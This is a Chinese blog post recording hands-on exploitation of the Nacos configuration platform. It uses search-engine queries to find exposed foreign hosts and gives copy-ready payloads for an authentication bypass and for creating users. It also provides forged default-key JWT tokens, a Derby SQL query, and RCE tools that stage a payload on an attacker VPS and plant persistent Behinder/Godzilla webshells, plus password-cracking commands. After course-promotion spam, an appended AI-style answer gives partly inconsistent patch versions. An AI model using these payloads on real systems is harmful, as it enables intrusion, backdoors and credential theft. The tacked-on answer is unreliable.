实战攻防之Nacos漏洞

实战攻防之Nacos漏洞

前言

实战nacos漏洞复现记录一下,大佬勿喷。

小白可以直接收藏下来学习一下很多poc我都直接给出来了,基本就是我的笔记。

如果,有不对的可以指正一下,一起学习。

nacos介绍

Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,由阿里巴巴开源。它致力于帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos支持几乎所有主流类型的服务发现、配置和管理,包括Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等。通过Nacos,您可以轻松构建、交付和管理微服务平台,实现服务的动态发现、配置和治理。

Nacos 开放的端口

Nacos部署需要开放以下端口以确保其正常运行:

主端口(HTTP端口):默认为8848,用于客户端、控制台及OpenAPI的HTTP通信。这个端口是访问Nacos管理界面的主要入口。

客户端gRPC请求服务端端口:默认为9848,用于客户端向服务端发起gRPC连接和请求。Nacos 2.x版本默认使用了gRPC通信方式,这会增加9848(客户端gRPC请求服务端端口)和9849(服务端gRPC请求服务端端口)两个端口。

服务端gRPC请求服务端端口:默认为9849,用于服务间的数据同步和其他服务端之间的通信。

Jraft请求服务端端口:默认为7848,用于处理服务端间的Raft相关请求,比如集群管理中的选主和日志复制等。

资产收集

FOFA语句:app="nacos" && port="8848"

img

下面可以看到icon图标,除了开始我们上面的一种,下面还有好几个,可以点击ico图标进一步扩大信息收集面

icon_hash="13942501"
icon_hash="1227052603" && port="8848"

针对fofa总结语法:

app=“nacos” && port=“8848” || icon_hash=“13942501”||icon_hash=“1227052603” && port=“8848”

img

漏洞复现

下面我用一个国外的ip进行漏洞的复现演示,用这个语法进行查找

app=“nacos” && port=“8848” && country=“US”

使用随意一个fofa测绘工具将资产导出来

img

这是我找的买过的一些资产,然后保存进行工具批量测试。

charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用

img

img

导出一个漏洞较多的资产进行复现即可,切记不要使用国内的,直接访问ip地址看不到登录口需要加/nacos目录才会重定向过去。

1.获取nacos版本信息

/nacos/v1/console/server/state

img

2. 默认口令

访问 http://ip:8848/nacos/#/login进入登陆页面

img

默认口令为: nacos/nacos

3.默认未开启鉴权-未授权查看用户信息

由于系统默认未开启鉴权 导致未授权访问

nacos.core.auth.enabled=false

漏洞复现

测试版本:nacos1.4.0

直接访问如下路径,未授权查看用户信息

/nacos/v1/auth/users?pageNo=1&pageSize=9

img

4. User-Agent权限绕过(CVE-2021-29441)

漏洞描述: 该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。

版本: <=Nacos 1.4.1 配置为使用身份验证(nacos.core.auth.enabled=true)

直接访问下面的目录,可以未授权查看到账号密码

/nacos/v1/auth/users?pageNo=1&pageSize=100 //可查看到用户列表

可以看下里面的账号密码,很多情况下账号密码都是这个暴露出来的username,和password信息

img

未授权添加用户

payload:

POST /nacos/v1/auth/users HTTP/1.1
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 28 Jul 2021 11:28:45 GMT
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=test&password=test123

img

查看用户是否添加成功:

/nacos/v1/auth/search?username=test

img
curl ‘http://IP/v1/auth/search?username=test’

img

img

删除用户
curl -X DELETE “http://47.83.174.204:8848/nacos/v1/auth/users?username=test”

或者访问 /nacos/v1/auth/users?username=test,将请求方法修改为DELETE即可删除用户test

img

或者使用工具直接进行用户的添加

先将有漏洞的站点扫描一遍选择ua权限绕过漏洞进行添加

img

img

5.默认jwt密钥-未授权访问

开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key的值(在Nacos<=2.2.0版本中,该值为默认值),则可以通过accessToken值来绕过权限。

nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789 # =后边的是默认的硬编码

影响版本

0.1.0<=nacos<=2.2.0

漏洞原理

输入正确的账号密码,则后端会返回对应该用户的加密accessToken。

请求包

POST /nacos/v1/auth/users/login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://47.83.174.204:8848
Connection: keep-alive
Referer: http://47.83.174.204:8848/nacos/
Priority: u=0

username=nacos&password=nacos

响应包

HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE
Content-Type: application/json;charset=UTF-8
Date: Sat, 26 Apr 2025 10:16:58 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 181

{“accessToken”:“eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE”,“tokenTtl”:18000,“globalAdmin”:true,“username”:“nacos”}

img

客户端得到此accessToken后会使用此Token再次请求后端服务器,及通过该用户身份登录。

img

payload

GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: http://47.83.174.204:8848
Connection: keep-alive
Referer: http://47.83.174.204:8848/nacos/
Priority: u=0

由于返回的accessToken只是对账号进行加密得到的.

而且nacos加密用户accessToken使用的jwt默认密钥加密,也就是只要知到nacos的用户,任何人都能通过此密钥加密用户得到对应用户的accessToken.

nacos存在默认用户nacos,所以我们可以尝试获取此默认用户的nacos。

漏洞复现

测试版本:nacos1.4.0

  1. 生成时间戳比现在时间晚就行,比如现在时间为2024.9.3,则修改为2024.9.4或者更晚的时间

https://tool.lu/timestamp/

img

我直接生成到2080了直接用我的就行

3481367106

  1. 生成key。

https://jwt.io/

复制默认的key,填写如下所示

img

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw

{
“sub”: “nacos”,
“iat”: 1745835608
}

{
“alg”: “HS256”,
“typ”: “JWT”
}

带上token访问用户列表即可绕过403

img

直接登录到后台

登陆界面输入任意账户密码 ,点击登录。抓包,添加请求头,我这个还能用。

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MzQ4MTM1NzA1NX0.92Mo2gkDFuPnUaD2v63SQl1IWtObfBxDTWgIhqvteM8

添加之后点击放行不要关闭拦截

img

img

之后关闭拦截即可

6.Derby未授权访问(CVE-2021-29442)

nacos带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露。

影响版本:在nacos <= 1.4.0,无论是否开启鉴权,该漏洞都存在。当 nacos >1.4.0, 在新版中默认没开鉴权,所有这个漏洞还存在。若开启了鉴权,版本大于1.4.0,则漏洞不存在。

/nacos/v1/cs/ops/derby?sql=select * from users

img

7.Nacos Client Yaml反序列化漏洞

这个我没复现出来,网上找了几个但是都没有。。。。

在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端。

具体思路是

nacosYaml反序列化攻击

工具利用

https://github.com/artsploit/yaml-payload/

下载之后打成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java

编译java文件

jar -cvf yaml-payload.jar -C src/ .

jar:Java 自带的归档工具(类似 tar 或 zip),用于创建、查看或解压 JAR 文件。
-c(create):创建一个新的 JAR 文件。
-v(verbose):显示详细输出(打包的文件列表)。
-f(file):指定生成的 JAR 文件名(这里是 yaml-payload.jar)。
-C src/:切换到 src/ 目录(相当于 cd src/)。

img

将生成的jar文件传到服务器上,到指定目录,开启web服务

img

在Nacos发现dataid为db-config

img

img

我只是复现到这了,试了几个,没成功就停了。

这个是靶场成功的链接

内网渗透 -春秋云镜篇之Hospital-腾讯云开发者社区-腾讯云

8.Nacos Hessian 反序列化漏洞

由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。

影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3

Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。

主要受影响的是7848端口的Jraft服务。

漏洞复现

测试版本nacos 2.2.2

poc:https://github.com/c0olw/NacosRce

java -jar NacosRce.jar http://xxx:8848/nacos 7848 "whoami"

执行命令同时注入内存马

img

直接使用webshell管理工具进行链接即可

自动注入内存马并执行命令 java -jar NacosRce.jar Url Jraft端口 “Command”

java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 “whoami”
只注入内存马

java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell

内存马说明:
一、冰蝎内存马:
1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond
二、哥斯拉内存马:
1、需要设置请求头x-client-data:godzilla
2、设置Referer:https://www.google.com/
3、路径随意
4、密码是pass 和 key

三、CMD内存马:
1、需要设置请求头x-client-data:cmd
2、设置Referer:https://www.google.com/
3、请求头cmd:要执行的命令
v0.5版本实现了:
1、不出网漏洞利用
2、可多次发起漏洞利用
3、同时注入冰蝎/哥斯拉/CMD内存马
4、内存马对nacos多版本进行了兼容

tips:
1、请用jdk1.8
2、适用于 Nacos 2.x <= 2.2.2
3、非集群的也能打哦
4、此内存马重启nacos依然存活

关于Windows
如用下面的方式执行,注入内存马时会生成临时文件 C:\Windows\Temp\nacos_data_temp 和 C:\Windows\Temp\nacos_data_temp.class 文件

java -jar NacosRce.jar http://192.168.90.1:8848 7848 “whoami” windows

如果没有在最后加 windows,临时文件会在 /tmp/nacos_data_temp /tmp/nacos_data_temp.class,所以权限足够的话,不指定windows也能打成功
windows 没打成功也许是因为没权限操作C盘或其他原因

9. Nacos RCE

这个漏洞涉及两个路径,其中derby其实就是CVE-2021-29441

/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby

测试版本:nacos1.4.0(2.3.2也成功),默认状态

下载poc:GitHub - FFR66/Nacos_Rce: 网传nacos_rce漏洞poc,并上传到vps上

  1. 在vps启动
python service.py

img

默认会在5000端口打开服务

然后本地机器上执行poc

当系统为未授权访问时,可直接触发RCE

Nacos_Rce.py -t 192.168.67.129 -p 5000 -u http://192.168.67.134:8848 -c whoami
#-t vps ip

#-p 端口地址
#-u nacos web地址

# -c 指定命令

img

如果显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE。

img

header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like             Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67',
'Authorization':'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MzQ4MTM1NzA1NX0.92Mo2gkDFuPnUaD2v63SQl1IWtObfBxDTWgIhqvteM8'
}

10. 密码破解
nacos密码bcrypt

hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O -D 1,2 --show

配置文件密文 jasypt

java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI input=“123456” password=“salt123” algorithm=“PBEWithMD5AndDES”
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringDecryptionCLI input=“MecKdyPwwkD+AqUKPy1GlQ==” password=“salt123” algorithm=“PBEWithMD5AndDES”

11、常用命令

http://127.0.0.1:8848/nacos/v1/console/server/state
http://xx.xx.xx.xx/v1/console/server/state
http://127.0.0.1:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=9 get查询用户
curl -v --data-binary “username=test&password=123456” “http://127.0.0.1:8848/nacos/v1/auth/users” post添加用户
curl -X PUT ‘http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=’ -d ‘username=test&newPassword=test123’ 修改密码
http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99 获取配置信息
http://127.0.0.1:8848/nacos/v1/core/cluster/nodes 获取集群信息
curl --data-binary “username=nacos&password=nacos” “http://127.0.0.1:8848/nacos/v1/auth/users/login” 登陆

总结

在网络安全的世界里,停止学习就意味着落后,共勉!

黑客&网络安全如何学习**

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。

内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,200多G的资源,不用担心学不全。
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要见下图即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————

本文转自 https://blog.youkuaiyun.com/bdfcfff77fa/article/details/149216564?spm=1001.2014.3001.5502,如有侵权,请联系删除。

<think>好的,用户想了解Nacos安全漏洞详情及修复方案。首先,我需要回忆一下之前提供的引用内容,确保信息的准确性。根据引用[1]、[2]、[3],Nacos存在多个安全漏洞,包括身份验证绕过、反序列化漏洞以及弱口令问题。 用户可能不仅想知道漏洞的具体情况,还想了解如何修复这些问题。我需要分点说明每个漏洞的详情和对应的修复措施。例如,身份验证绕过漏洞(CVE-2021-29441)允许未经授权的访问,需要升级到1.4.1版本。反序列化漏洞(CNVD-2023-45001)可能通过Hessian反序列化攻击利用,需升级到2.2.1或更高版本。弱口令问题则需要加强密码策略。 另外,用户可能关心临时修补方案,比如引用[2]提到的设置复杂口令和限制访问权限。需要强调这些临时措施的重要性,同时建议长期解决方案是升级版本。最后,生成相关问题时要覆盖漏洞分析、修复步骤和预防措施,确保用户全面了解。</think>### Nacos安全漏洞详情及修复方案 #### 一、主要安全漏洞分析 1. **身份验证绕过漏洞** 攻击者通过构造特定HTTP请求头`identity.key`和`identity.value`绕过鉴权系统,直接访问管理接口[^3]。例如: $$ \text{请求头注入示例: } \{ "identity.key":"自定义值", "identity.value":"伪造凭证" \} $$ 2. **Jraft Hessian反序列化漏洞(CNVD-2023-45001)** 漏洞存在于Nacos集群通信模块,攻击者可发送恶意序列化数据执行任意代码。该漏洞利用Hessian协议缺陷,需升级至2.2.1+版本修复。 3. **弱口令导致权限泄露** 默认配置或简单口令使攻击者可直接登录控制台,获取敏感配置数据[^2]。例如弱密码组合`nacos/nacos`风险极高。 #### 二、修复方案 | 漏洞类型 | 临时方案 | 长期方案 | |------------------|-----------------------------------|-----------------------------------| | 身份验证绕过 | 配置反向代理过滤异常请求头[^1] | 升级至Nacos 1.4.1+版本 | | 反序列化漏洞 | 禁用集群外网访问 | 升级至Nacos 2.2.1+版本[^3] | | 弱口令风险 | 强制使用12位混合字符密码 | 集成LDAP/SSO认证体系 | #### 三、操作示例(临时加固) ```bash # 修改Nacos配置文件application.properties nacos.core.auth.enabled=true # 强制开启鉴权 nacos.core.auth.server.identity.key=SECRET_KEY_2023 # 设置高强度密钥 nacos.core.auth.server.identity.value=ZGVmZmljMUAxMjM0NTY3ODk= # Base64编码复杂值 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值